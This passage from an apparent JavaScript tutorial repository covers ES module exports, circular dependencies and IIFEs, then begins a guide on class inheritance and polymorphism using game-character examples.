function Button({ label, onClick }) {\n  return <button onClick={onClick}>{label}</button>;\n}\n\n// Usage is clean\nimport Button from './Button.js';\n```\n\n### 5. Use Named Exports for Utilities\n\n```javascript\n// Multiple utilities in one file\n// stringUtils.js\nexport function capitalize(str) { /* ... */ }\nexport function truncate(str, length) { /* ... */ }\nexport function slugify(str) { /* ... */ }\n\n// Import only what you need\nimport { capitalize } from './stringUtils.js';\n```\n\n---\n\n## Common Mistakes to Avoid\n\n### Mistake 1: Confusing Named and Default Exports\n\nOne of the most common sources of confusion is mixing up how to import named vs default exports:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    NAMED vs DEFAULT EXPORT CONFUSION                     │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  EXPORTING                             IMPORTING                         │\n│  ─────────                             ─────────                         │\n│                                                                          │\n│  Named Export:                         Must use { braces }:              │\n│  export function greet() {}            import { greet } from './mod.js'  │\n│  export const PI = 3.14                import { PI } from './mod.js'     │\n│                                                                          │\n│  Default Export:                       NO braces:                        │\n│  export default function() {}          import greet from './mod.js'      │\n│  export default class User {}          import User from './mod.js'       │\n│                                                                          │\n│  ⚠️  Common Error:                                                       │\n│  import greet from './mod.js'     ← Looking for default, but file has   │\n│                                      named export! Results in undefined  │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n```javascript\n// utils.js — has a NAMED export\nexport function formatDate(date) {\n  return date.toLocaleDateString()\n}\n\n// ❌ WRONG — Importing without braces looks for a default export\nimport formatDate from './utils.js'\nconsole.log(formatDate)  // undefined! No default export exists\n\n// ✓ CORRECT — Use braces for named exports\nimport { formatDate } from './utils.js'\nconsole.log(formatDate)  // [Function: formatDate]\n```\n\n<Warning>\n**The Trap:** If you see `undefined` when importing, check whether you're using braces correctly. Named exports require `{ }`, default exports don't. This is the #1 cause of \"why is my import undefined?\" bugs.\n</Warning>\n\n### Mistake 2: Circular Dependencies\n\nCircular dependencies occur when two modules import from each other. This creates a \"chicken and egg\" problem that causes subtle, hard-to-debug issues:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                        CIRCULAR DEPENDENCY                               │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│      user.js                              userUtils.js                   │\n│    ┌──────────┐                         ┌──────────────┐                 │\n│    │          │ ──── imports from ────► │              │                 │\n│    │  User    │                         │ formatUser() │                 │\n│    │  class   │ ◄─── imports from ───── │ createUser() │                 │\n│    │          │                         │              │                 │\n│    └──────────┘                         └──────────────┘                 │\n│                                                                          │\n│    🔄 PROBLEM: When user.js loads, it needs userUtils.js                │\n│                But userUtils.js needs User from user.js                  │\n│                Which isn't fully loaded yet! → undefined                 │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n```javascript\n// ❌ PROBLEM: Circular dependency\n\n// user.js\nimport { formatUserName } from './userUtils.js'\n\nexport class User {\n  constructor(name) {\n    this.name = name\n  }\n}\n\n// userUtils.js\nimport { User } from './user.js'  // Circular! user.js imports userUtils.js\n\nexport function formatUserName(user) {\n  return user.name.toUpperCase()\n}\n\nexport function createDefaultUser() {\n  return new User('Guest')  // 💥 User might be undefined here!\n}\n```\n\n```javascript\n// ✓ SOLUTION: Break the cycle with restructuring\n\n// user.js — no imports from userUtils\nexport class User {\n  constructor(name) {\n    this.name = name\n  }\n}\n\n// userUtils.js — imports from user.js (one direction only)\nimport { User } from './user.js'\n\nexport function formatUserName(user) {\n  return user.name.toUpperCase()\n}\n\nexport function createDefaultUser() {\n  return new User('Guest')  // Works! User is fully loaded\n}\n```\n\n<Tip>\n**Rule of Thumb:** Draw your import arrows. They should flow in one direction like a tree, not in circles. If module A imports from B, module B should NOT import from A. If you need shared code, create a third module that both can import from.\n</Tip>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **IIFEs** create private scope by running immediately — useful for initialization and avoiding globals\n\n2. **Namespaces** group related code under one object — reduces global pollution but isn't true encapsulation\n\n3. **ES6 Modules** are the modern solution — file-based, true privacy, and built into the language\n\n4. **Named exports** let you export multiple things — import what you need by name\n\n5. **Default exports** are for the main thing a module provides — one per file\n\n6. **Dynamic imports** load modules on demand — great for performance optimization\n\n7. **Each module has its own scope** — variables are private unless exported\n\n8. **Use modules for new projects** — IIFEs and namespaces are for legacy code or special cases\n\n9. **Organize by feature or type** — group related modules in folders with index.js barrel files\n\n10. **Avoid circular dependencies** — they cause confusing bugs and loading issues\n</Info>\n\n---\n\n## Test Your Knowledge\n\nTry to answer each question before revealing the solution:\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What does IIFE stand for and why was it invented?\">\n    **Answer:** IIFE stands for **Immediately Invoked Function Expression**.\n    \n    It was invented to solve the problem of global scope pollution. Before ES6 modules, all JavaScript code shared the same global scope. Variables from different files could accidentally overwrite each other. IIFEs create a private scope where variables are protected from outside access.\n  </Accordion>\n  \n  <Accordion title=\"Question 2: What's the difference between named exports and default exports?\">\n    **Answer:**\n    \n    **Named exports:**\n    - Can have multiple per module\n    - Must be imported by exact name (or aliased)\n    - Use `export { name }` or `export function name()`\n    - Import with `import { name } from './module.js'`\n    \n    **Default exports:**\n    - Only one per module\n    - Can be imported with any name\n    - Use `export default`\n    - Import with `import anyName from './module.js'`\n    \n    ```javascript\n    // Named export\n    export const PI = 3.14;\n    import { PI } from './math.js';\n    \n    // Default export\n    export default function add(a, b) { return a + b; }\n    import myAdd from './math.js';  // Any name works\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 3: How do you create a private variable in an IIFE?\">\n    **Answer:** Declare the variable inside the IIFE. It won't be accessible from outside because it's in the function's local scope.\n    \n    ```javascript\n    const module = (function() {\n      // Private variable\n      let privateCounter = 0;\n      \n      // Return public methods that can access it\n      return {\n        increment() { privateCounter++; },\n        getCount() { return privateCounter; }\n      };\n    })();\n    \n    module.increment();\n    console.log(module.getCount());    // 1\n    console.log(module.privateCounter); // undefined (private!)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 4: What's the difference between static and dynamic imports?\">\n    **Answer:**\n    \n    **Static imports:**\n    - Loaded at the top of the file\n    - Always loaded, even if not used\n    - Analyzed at build time\n    - Syntax: `import { x } from './module.js'`\n    \n    **Dynamic imports:**\n    - Can be loaded anywhere in the code\n    - Loaded only when the import() call runs\n    - Loaded at runtime, returns a Promise\n    - Syntax: `const module = await import('./module.js')`\n    \n    ```javascript\n    // Static import — always at the top, always loaded\n    import { heavyFunction } from './heavy-module.js'\n    \n    // Dynamic import — loaded only when needed\n    async function loadOnDemand() {\n      const module = await import('./heavy-module.js')\n      module.heavyFunction()\n    }\n    \n    // Or with .then() syntax\n    import('./heavy-module.js').then(module => {\n      module.heavyFunction()\n    })\n    ```\n    \n    Use dynamic imports for code splitting and loading modules on demand.\n  </Accordion>\n  \n  <Accordion title=\"Question 5: Why should you avoid circular dependencies?\">\n    **Answer:** Circular dependencies occur when module A imports from module B, and module B imports from module A.\n    \n    Problems:\n    - **Loading issues:** When A loads, it needs B. But B needs A, which isn't fully loaded yet.\n    - **Undefined values:** You might get `undefined` for imports that should have values.\n    - **Confusing bugs:** Hard to track down because the error isn't where the bug is.\n    \n    Solution: Create a third module for shared code, or restructure your code to break the cycle.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: When would you still use an IIFE today?\">\n    **Answer:** Even with ES6 modules, IIFEs are useful for:\n    \n    1. **Async initialization:**\n    ```javascript\n    (async () => {\n      const data = await fetchData();\n      init(data);\n    })();\n    ```\n    \n    2. **One-time calculations:**\n    ```javascript\n    const config = (() => {\n      // Complex setup that runs once\n      return computedConfig;\n    })();\n    ```\n    \n    3. **Scripts without modules:** When you're adding a `<script>` tag without `type=\"module\"`, IIFEs prevent polluting globals.\n    \n    4. **Creating private scope in non-module code.**\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is an IIFE in JavaScript?\">\n    An IIFE (Immediately Invoked Function Expression) is a function that runs as soon as it is defined. It creates a private scope that prevents variables from leaking into the global namespace. As documented on MDN, the pattern wraps a function in parentheses to make it an expression, then immediately invokes it with `()`.\n  </Accordion>\n\n  <Accordion title=\"Why were IIFEs used before ES6 modules?\">\n    Before ES6 introduced native modules in 2015, JavaScript had no built-in way to create private scope at the file level. IIFEs provided encapsulation by leveraging function scope and closures. Libraries like jQuery and Lodash used the IIFE pattern extensively to avoid polluting the global namespace.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between IIFEs and ES6 modules?\">\n    ES6 modules provide file-level scope automatically — every file is its own module with private variables. IIFEs achieve the same result manually using function scope. According to the 2023 State of JS survey, ES modules are now used by over 80% of JavaScript developers, making IIFEs largely unnecessary for new code. However, IIFEs remain useful for one-time initialization and inline scripts.\n  </Accordion>\n\n  <Accordion title=\"What is a namespace in JavaScript?\">\n    A namespace is an object that groups related variables and functions under a single global name to avoid naming conflicts. Before modules, developers used patterns like `var MyApp = MyApp || {}` to organize code. The namespace pattern reduced global pollution but did not provide true privacy, which is why the module pattern and later ES6 modules became preferred.\n  </Accordion>\n\n  <Accordion title=\"Are IIFEs still useful in modern JavaScript?\">\n    Yes, in specific cases. IIFEs are still valuable for async initialization (`(async () => { ... })()`), one-time configuration, and scripts loaded without `type=\"module\"`. They also appear frequently in build tool output and legacy codebases, so understanding them remains important for professional JavaScript development.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Scope and Closures\" icon=\"lock\" href=\"/concepts/scope-and-closures\">\n    Understanding how JavaScript manages variable access and function memory\n  </Card>\n  <Card title=\"Higher-Order Functions\" icon=\"function\" href=\"/concepts/higher-order-functions\">\n    Functions that work with other functions — common in modular code\n  </Card>\n  <Card title=\"Design Patterns\" icon=\"compass\" href=\"/concepts/design-patterns\">\n    Common patterns for organizing code, including the module pattern\n  </Card>\n  <Card title=\"Call Stack\" icon=\"bars-staggered\" href=\"/concepts/call-stack\">\n    How JavaScript tracks function execution and manages memory\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"IIFE — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Glossary/IIFE\">\n    Official MDN documentation on Immediately Invoked Function Expressions\n  </Card>\n  <Card title=\"JavaScript Modules — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules\">\n    Complete guide to ES6 modules\n  </Card>\n  <Card title=\"Expression Statement — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/Expression_statement\">\n    MDN documentation on expression statements\n  </Card>\n  <Card title=\"Namespace — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Glossary/Namespace\">\n    MDN documentation on namespaces\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Mastering Immediately-Invoked Function Expressions\" icon=\"newspaper\" href=\"https://medium.com/@vvkchandra/essential-javascript-mastering-immediately-invoked-function-expressions-67791338ddc6\">\n    Covers the classical and Crockford IIFE variations with clear syntax breakdowns. Great for understanding why the parentheses are placed where they are.\n  </Card>\n  <Card title=\"JavaScript Modules: A Beginner's Guide\" icon=\"newspaper\" href=\"https://medium.freecodecamp.org/javascript-modules-a-beginner-s-guide-783f7d7a5fcc\">\n    Traces the evolution from global scripts to CommonJS to ES6 modules with code examples at each stage. Perfect if you're wondering why we have so many module formats.\n  </Card>\n  <Card title=\"A 10 minute primer to JavaScript modules\" icon=\"newspaper\" href=\"https://www.jvandemo.com/a-10-minute-primer-to-javascript-modules-module-formats-module-loaders-and-module-bundlers/\">\n    Explains the difference between module formats (AMD, CommonJS, ES6), loaders (RequireJS, SystemJS), and bundlers (Webpack, Rollup). Clears up the confusing terminology quickly.\n  </Card>\n  <Card title=\"ES6 Modules in Depth\" icon=\"newspaper\" href=\"https://ponyfoo.com/articles/es6-modules-in-depth\">\n    Nicolás Bevacqua's thorough exploration of edge cases like circular dependencies and live bindings. Read this after you understand the basics.\n  </Card>\n  <Card title=\"JavaScript modules — V8\" icon=\"newspaper\" href=\"https://v8.dev/features/modules\">\n    The V8 team's comprehensive guide covering native module loading, performance recommendations, and future developments. Includes practical tips on bundling vs unbundled deployment.\n  </Card>\n  <Card title=\"Modules — javascript.info\" icon=\"newspaper\" href=\"https://javascript.info/modules-intro\">\n    Interactive tutorial walking through module basics with live code examples. Covers both browser and Node.js usage patterns with clear, beginner-friendly explanations.\n  </Card>\n  <Card title=\"All you need to know about Expressions, Statements and Expression Statements\" icon=\"newspaper\" href=\"https://dev.to/promhize/javascript-in-depth-all-you-need-to-know-about-expressions-statements-and-expression-statements-5k2\">\n    Explains why `function(){}()` fails but `(function(){})()` works. The expression vs statement distinction finally makes sense after reading this.\n  </Card>\n  <Card title=\"Function Expressions — MDN\" icon=\"newspaper\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/function\">\n    MDN's official reference on function expressions, covering syntax, hoisting behavior differences from declarations, and named function expressions. Includes interactive examples.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Immediately Invoked Function Expression — Beau teaches JavaScript\" icon=\"video\" href=\"https://www.youtube.com/watch?v=3cbiZV4H22c\">\n    Short and focused 4-minute explanation perfect for quick learning. Part of freeCodeCamp's beginner-friendly JavaScript series.\n  </Card>\n  <Card title=\"JavaScript Modules: ES6 Import and Export\" icon=\"video\" href=\"https://www.youtube.com/watch?v=_3oSWwapPKQ\">\n    Kyle from Web Dev Simplified builds a project step-by-step showing named exports, default exports, and barrel files. Great for seeing modules in action.\n  </Card>\n  <Card title=\"JavaScript IIFE — Steve Griffith\" icon=\"video\" href=\"https://www.youtube.com/watch?v=Xd7zgPFwVX8\">\n    Demonstrates the Module Pattern with private variables and public methods. Shows exactly how closures make IIFEs powerful.\n  </Card>\n  <Card title=\"ES6 Modules in the Real World\" icon=\"video\" href=\"https://www.youtube.com/watch?v=fIP4pjAqCtQ\">\n    Conference talk on practical module usage in production applications.\n  </Card>\n  <Card title=\"Expressions vs. Statements in JavaScript\" icon=\"video\" href=\"https://www.youtube.com/watch?v=WVyCrI1cHi8\">\n    Uses simple examples to show why expressions produce values and statements perform actions. Essential for understanding IIFE syntax.\n  </Card>\n  <Card title=\"JavaScript Functions — Programming with Mosh\" icon=\"video\" href=\"https://www.youtube.com/watch?v=N8ap4k_1QEQ\">\n    Comprehensive overview of JavaScript functions covering declarations, expressions, hoisting, and scope. Clear explanations with practical examples.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/inheritance-polymorphism.mdx",
    "content": "---\ntitle: \"Inheritance & Polymorphism\"\nsidebarTitle: \"Inheritance & Polymorphism: OOP Principles\"\ndescription: \"Learn inheritance and polymorphism in JavaScript. Extend classes, use prototype chains, override methods, and master OOP patterns.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Object-Oriented JavaScript\"\n\"article:tag\": \"javascript inheritance, polymorphism, class extension, method overriding, OOP patterns\"\n---\n\nHow do game developers create hundreds of character types without copy-pasting the same code over and over? How can a Warrior, Mage, and Archer all \"attack\" differently but be treated the same way in battle?\n\n```javascript\n// One base class, infinite possibilities\nclass Character {\n  constructor(name) {\n    this.name = name\n    this.health = 100\n  }\n  \n  attack() {\n    return `${this.name} attacks!`\n  }\n}\n\nclass Warrior extends Character {\n  attack() {\n    return `${this.name} swings a mighty sword!`\n  }\n}\n\nclass Mage extends Character {\n  attack() {\n    return `${this.name} casts a fireball!`\n  }\n}\n\nconst hero = new Warrior(\"Aragorn\")\nconst wizard = new Mage(\"Gandalf\")\n\nconsole.log(hero.attack())    // \"Aragorn swings a mighty sword!\"\nconsole.log(wizard.attack())  // \"Gandalf casts a fireball!\"\n```\n\nThe answer lies in two powerful OOP principles: **[inheritance](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Classes_in_JavaScript#inheritance)** lets classes share code by extending other classes, and **polymorphism** lets different objects respond to the same method call in their own unique way. These concepts, formalized in the ECMAScript 2015 specification through the `class` and `extends` keywords, brought familiar OOP patterns to JavaScript's prototype-based model.\n\n<Info>\n**What you'll learn in this guide:**\n- How inheritance lets child classes reuse parent class code\n- Using the `extends` keyword to create class hierarchies\n- The `super` keyword for calling parent constructors and methods\n- Method overriding for specialized behavior\n- Polymorphism: treating different object types through a common interface\n- When to use composition instead of inheritance (the Gorilla-Banana problem)\n- Mixins for sharing behavior across unrelated classes\n</Info>\n\n<Warning>\n**Prerequisites:** This guide assumes you understand [Factories & Classes](/concepts/factories-classes) and [Object Creation & Prototypes](/concepts/object-creation-prototypes). If you're not comfortable with creating classes in JavaScript, read those guides first!\n</Warning>\n\n---\n\n## What is Inheritance?\n\n**Inheritance** is a mechanism where a class (called a **child** or **subclass**) can inherit properties and methods from another class (called a **parent** or **superclass**). Instead of rewriting common functionality, the child class automatically gets everything the parent has — and can add or customize as needed.\n\nThink of it as the \"IS-A\" relationship:\n- A **Warrior IS-A Character** — so it inherits all Character traits\n- A **Mage IS-A Character** — same base, different specialization\n- An **Archer IS-A Character** — you get the pattern\n\n```javascript\n// The parent class — all characters share these basics\nclass Character {\n  constructor(name, health = 100) {\n    this.name = name\n    this.health = health\n  }\n  \n  introduce() {\n    return `I am ${this.name} with ${this.health} HP`\n  }\n  \n  attack() {\n    return `${this.name} attacks!`\n  }\n  \n  takeDamage(amount) {\n    this.health -= amount\n    return `${this.name} takes ${amount} damage! (${this.health} HP left)`\n  }\n}\n\n// The child class — gets everything from Character automatically\nclass Warrior extends Character {\n  constructor(name) {\n    super(name, 150)  // Warriors have more health!\n    this.rage = 0\n  }\n  \n  // New method only Warriors have\n  battleCry() {\n    this.rage += 10\n    return `${this.name} roars with fury! Rage: ${this.rage}`\n  }\n}\n\nconst conan = new Warrior(\"Conan\")\nconsole.log(conan.introduce())   // \"I am Conan with 150 HP\" (inherited!)\nconsole.log(conan.battleCry())   // \"Conan roars with fury! Rage: 10\" (new!)\nconsole.log(conan.attack())      // \"Conan attacks!\" (inherited!)\n```\n\n<Tip>\n**The DRY Principle:** Inheritance helps you \"Don't Repeat Yourself\". Write common code once in the parent class, and all children automatically benefit — including bug fixes and improvements! As the Gang of Four noted in *Design Patterns*, favoring composition over deep inheritance hierarchies often leads to more maintainable code.\n</Tip>\n\n---\n\n## The Game Character Analogy\n\nImagine you're building an RPG game. Every character — whether player or enemy — shares basic traits: a name, health points, the ability to attack and take damage. But each character *type* has unique abilities.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                        GAME CHARACTER HIERARCHY                          │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│                          ┌───────────────┐                               │\n│                          │   Character   │  ← Parent (base class)        │\n│                          │   ─────────   │                               │\n│                          │  name         │                               │\n│                          │  health       │                               │\n│                          │  attack()     │                               │\n│                          │  takeDamage() │                               │\n│                          └───────┬───────┘                               │\n│                                  │                                       │\n│             ┌────────────────────┼────────────────────┐                  │\n│             │                    │                    │                  │\n│             ▼                    ▼                    ▼                  │\n│      ┌─────────────┐      ┌─────────────┐      ┌─────────────┐          │\n│      │   Warrior   │      │    Mage     │      │   Archer    │          │\n│      │   ───────   │      │   ──────    │      │   ──────    │          │\n│      │  rage       │      │  mana       │      │  arrows     │          │\n│      │  battleCry()│      │  castSpell()│      │  aim()      │          │\n│      │  attack() ⚔ │      │  attack() ✨│      │  attack() 🏹│          │\n│      └─────────────┘      └─────────────┘      └─────────────┘          │\n│                                                                          │\n│      Each child INHERITS from Character but OVERRIDES attack()          │\n│      to provide specialized behavior — that's POLYMORPHISM!              │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nWithout inheritance, you'd copy-paste `name`, `health`, `takeDamage()` into every character class. With inheritance, you write it once and *extend* it:\n\n```javascript\nclass Warrior extends Character { /* ... */ }\nclass Mage extends Character { /* ... */ }\nclass Archer extends Character { /* ... */ }\n```\n\nEach child class automatically has everything `Character` has, plus their own unique additions.\n\n---\n\n## Class Inheritance with `extends`\n\nThe **[`extends`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/extends)** keyword creates a class that is a child of another class. The syntax is straightforward:\n\n```javascript\nclass ChildClass extends ParentClass {\n  // Child-specific code here\n}\n```\n\n<Steps>\n  <Step title=\"Define the Parent Class\">\n    Create the base class with shared properties and methods:\n    \n    ```javascript\n    class Character {\n      constructor(name) {\n        this.name = name\n        this.health = 100\n      }\n      \n      attack() {\n        return `${this.name} attacks!`\n      }\n    }\n    ```\n  </Step>\n  \n  <Step title=\"Create a Child Class with extends\">\n    Use `extends` to inherit from the parent:\n    \n    ```javascript\n    class Mage extends Character {\n      constructor(name) {\n        super(name)        // Call parent constructor FIRST\n        this.mana = 100    // Then add child-specific properties\n      }\n      \n      castSpell(spell) {\n        this.mana -= 10\n        return `${this.name} casts ${spell}!`\n      }\n    }\n    ```\n  </Step>\n  \n  <Step title=\"Use the Child Class\">\n    Instances have both parent AND child capabilities:\n    \n    ```javascript\n    const gandalf = new Mage(\"Gandalf\")\n    \n    // Inherited from Character\n    console.log(gandalf.name)       // \"Gandalf\"\n    console.log(gandalf.health)     // 100\n    console.log(gandalf.attack())   // \"Gandalf attacks!\"\n    \n    // Unique to Mage\n    console.log(gandalf.mana)           // 100\n    console.log(gandalf.castSpell(\"Fireball\"))  // \"Gandalf casts Fireball!\"\n    ```\n  </Step>\n</Steps>\n\n### What the Child Automatically Gets\n\nWhen you use `extends`, the child class inherits:\n\n| Inherited | Example |\n|-----------|---------|\n| Instance properties | `this.name`, `this.health` |\n| Instance methods | `attack()`, `takeDamage()` |\n| Static methods | `Character.createRandom()` (if defined) |\n| Getters/Setters | `get isAlive()`, `set health(val)` |\n\n```javascript\nclass Character {\n  constructor(name) {\n    this.name = name\n    this.health = 100\n  }\n  \n  get isAlive() {\n    return this.health > 0\n  }\n  \n  static createRandom() {\n    const names = [\"Hero\", \"Villain\", \"Sidekick\"]\n    return new this(names[Math.floor(Math.random() * names.length)])\n  }\n}\n\nclass Warrior extends Character {\n  constructor(name) {\n    super(name)\n    this.rage = 0\n  }\n}\n\n// Child inherits the static method!\nconst randomWarrior = Warrior.createRandom()\nconsole.log(randomWarrior.name)     // Random name\nconsole.log(randomWarrior.isAlive)  // true (inherited getter)\nconsole.log(randomWarrior.rage)     // 0 (Warrior-specific)\n```\n\n---\n\n## The `super` Keyword\n\nThe **[`super`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/super)** keyword is your lifeline when working with inheritance. It has two main uses:\n\n### 1. `super()` — Calling the Parent Constructor\n\nWhen a child class has a constructor, it **must** call `super()` before using `this`. This runs the parent's constructor to set up inherited properties.\n\n```javascript\nclass Character {\n  constructor(name, health) {\n    this.name = name\n    this.health = health\n  }\n}\n\nclass Warrior extends Character {\n  constructor(name) {\n    // MUST call super() first!\n    super(name, 150)     // Pass arguments to parent constructor\n    \n    // Now we can use 'this'\n    this.rage = 0\n    this.weapon = \"Sword\"\n  }\n}\n\nconst warrior = new Warrior(\"Conan\")\nconsole.log(warrior.name)    // \"Conan\" (set by parent)\nconsole.log(warrior.health)  // 150 (passed to parent)\nconsole.log(warrior.rage)    // 0 (set by child)\n```\n\n<Warning>\n**Critical Rule:** You MUST call `super()` before accessing `this` in a child constructor. If you don't, JavaScript throws a `ReferenceError`:\n\n```javascript\nclass Warrior extends Character {\n  constructor(name) {\n    this.rage = 0  // ❌ ReferenceError: Must call super constructor first!\n    super(name)\n  }\n}\n```\n</Warning>\n\n### 2. `super.method()` — Calling Parent Methods\n\nUse `super.methodName()` to call the parent's version of an overridden method. This is perfect when you want to *extend* behavior rather than *replace* it:\n\n```javascript\nclass Character {\n  constructor(name, health = 100) {\n    this.name = name\n    this.health = health\n  }\n  \n  attack() {\n    return `${this.name} attacks`\n  }\n  \n  describe() {\n    return `${this.name} (${this.health} HP)`\n  }\n}\n\nclass Warrior extends Character {\n  constructor(name) {\n    super(name, 150)  // Pass name and custom health to parent\n    this.weapon = \"Sword\"\n  }\n  \n  attack() {\n    // Call parent's attack, then add to it\n    const baseAttack = super.attack()\n    return `${baseAttack} with a ${this.weapon}!`\n  }\n  \n  describe() {\n    // Extend parent's description\n    return `${super.describe()} - Warrior Class`\n  }\n}\n\nconst hero = new Warrior(\"Aragorn\")\nconsole.log(hero.attack())    // \"Aragorn attacks with a Sword!\"\nconsole.log(hero.describe())  // \"Aragorn (150 HP) - Warrior Class\"\n```\n\n<Tip>\n**Pattern: Extend, Don't Replace.** When overriding methods, consider calling `super.method()` first to preserve parent behavior, then add child-specific logic. This keeps your code DRY and ensures parent functionality isn't accidentally lost.\n</Tip>\n\n---\n\n## Method Overriding\n\n**Method overriding** occurs when a child class defines a method with the same name as one in its parent class. The child's version \"shadows\" the parent's version — when you call that method on a child instance, the child's implementation runs.\n\n```javascript\nclass Character {\n  attack() {\n    return `${this.name} attacks!`\n  }\n}\n\nclass Warrior extends Character {\n  attack() {\n    return `${this.name} swings a mighty sword for 25 damage!`\n  }\n}\n\nclass Mage extends Character {\n  attack() {\n    return `${this.name} hurls a fireball for 30 damage!`\n  }\n}\n\nclass Archer extends Character {\n  attack() {\n    return `${this.name} fires an arrow for 20 damage!`\n  }\n}\n\n// Each class has the SAME method name, but DIFFERENT behavior\nconst warrior = new Warrior(\"Conan\")\nconst mage = new Mage(\"Gandalf\")\nconst archer = new Archer(\"Legolas\")\n\nconsole.log(warrior.attack())  // \"Conan swings a mighty sword for 25 damage!\"\nconsole.log(mage.attack())     // \"Gandalf hurls a fireball for 30 damage!\"\nconsole.log(archer.attack())   // \"Legolas fires an arrow for 20 damage!\"\n```\n\n### Why Override Methods?\n\n| Reason | Example |\n|--------|---------|\n| **Specialization** | Each character type attacks differently |\n| **Extension** | Add logging before calling `super.method()` |\n| **Customization** | Change default values or behavior |\n| **Performance** | Optimize for specific use case |\n\n### Extending vs Replacing\n\nYou have two choices when overriding:\n\n<Tabs>\n  <Tab title=\"Replace Completely\">\n    ```javascript\n    class Warrior extends Character {\n      // Completely new implementation\n      attack() {\n        this.rage += 5\n        const damage = 20 + this.rage\n        return `${this.name} rages and deals ${damage} damage!`\n      }\n    }\n    ```\n  </Tab>\n  <Tab title=\"Extend Parent\">\n    ```javascript\n    class Warrior extends Character {\n      // Build on parent's behavior\n      attack() {\n        const base = super.attack()  // \"Conan attacks!\"\n        this.rage += 5\n        return `${base} Rage builds to ${this.rage}!`\n      }\n    }\n    ```\n  </Tab>\n</Tabs>\n\n---\n\n## What is Polymorphism?\n\n**Polymorphism** (from Greek: \"many forms\") means that objects of different types can be treated through a common interface. In JavaScript, this primarily manifests as **subtype polymorphism**: child class instances can be used wherever a parent class instance is expected.\n\nThe magic happens when you call the same method on different objects, and each responds in its own way:\n\n```javascript\nclass Character {\n  constructor(name) {\n    this.name = name\n    this.health = 100\n  }\n  \n  attack() {\n    return `${this.name} attacks!`\n  }\n}\n\nclass Warrior extends Character {\n  attack() {\n    return `${this.name} swings a sword!`\n  }\n}\n\nclass Mage extends Character {\n  attack() {\n    return `${this.name} casts a spell!`\n  }\n}\n\nclass Archer extends Character {\n  attack() {\n    return `${this.name} shoots an arrow!`\n  }\n}\n\n// THE POLYMORPHISM POWER MOVE\n// This function works with ANY Character type!\nfunction executeBattle(characters) {\n  console.log(\"⚔️ Battle begins!\")\n  \n  characters.forEach(char => {\n    // Each character attacks in their OWN way\n    console.log(char.attack())\n  })\n}\n\n// Mix of different types — polymorphism in action!\nconst party = [\n  new Warrior(\"Conan\"),\n  new Mage(\"Gandalf\"),\n  new Archer(\"Legolas\"),\n  new Character(\"Villager\")  // Even the base class works!\n]\n\nexecuteBattle(party)\n// ⚔️ Battle begins!\n// \"Conan swings a sword!\"\n// \"Gandalf casts a spell!\"\n// \"Legolas shoots an arrow!\"\n// \"Villager attacks!\"\n```\n\n### Why Polymorphism is Powerful\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    POLYMORPHISM: WRITE ONCE, USE MANY                    │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   WITHOUT Polymorphism              WITH Polymorphism                    │\n│   ─────────────────────             ─────────────────                    │\n│                                                                          │\n│   function battle(char) {           function battle(char) {              │\n│     if (char instanceof Warrior) {    char.attack()  // That's it!       │\n│       char.swingSword()             }                                    │\n│     } else if (char instanceof      // Works with Warrior, Mage,         │\n│       Mage) {                       // Archer, and ANY future type!      │\n│       char.castSpell()                                                   │\n│     } else if (char instanceof                                           │\n│       Archer) {                                                          │\n│       char.shootArrow()                                                  │\n│     }                                                                    │\n│     // Need to add code for                                              │\n│     // every new character type!                                         │\n│   }                                                                      │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n| Benefit | Explanation |\n|---------|-------------|\n| **Open for Extension** | Add new character types without changing battle logic |\n| **Loose Coupling** | `executeBattle` doesn't need to know about specific types |\n| **Cleaner Code** | No endless `if/else` or `switch` statements |\n| **Easier Testing** | Test with mock objects that share the interface |\n\n### The `instanceof` Operator\n\nUse **[`instanceof`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof)** to check if an object is an instance of a class (or its parents):\n\n```javascript\nconst warrior = new Warrior(\"Conan\")\n\nconsole.log(warrior instanceof Warrior)    // true (direct)\nconsole.log(warrior instanceof Character)  // true (parent)\nconsole.log(warrior instanceof Object)     // true (all objects)\nconsole.log(warrior instanceof Mage)       // false (different branch)\n```\n\n---\n\n## Under the Hood: Prototypes\n\nHere's a secret: ES6 `class` 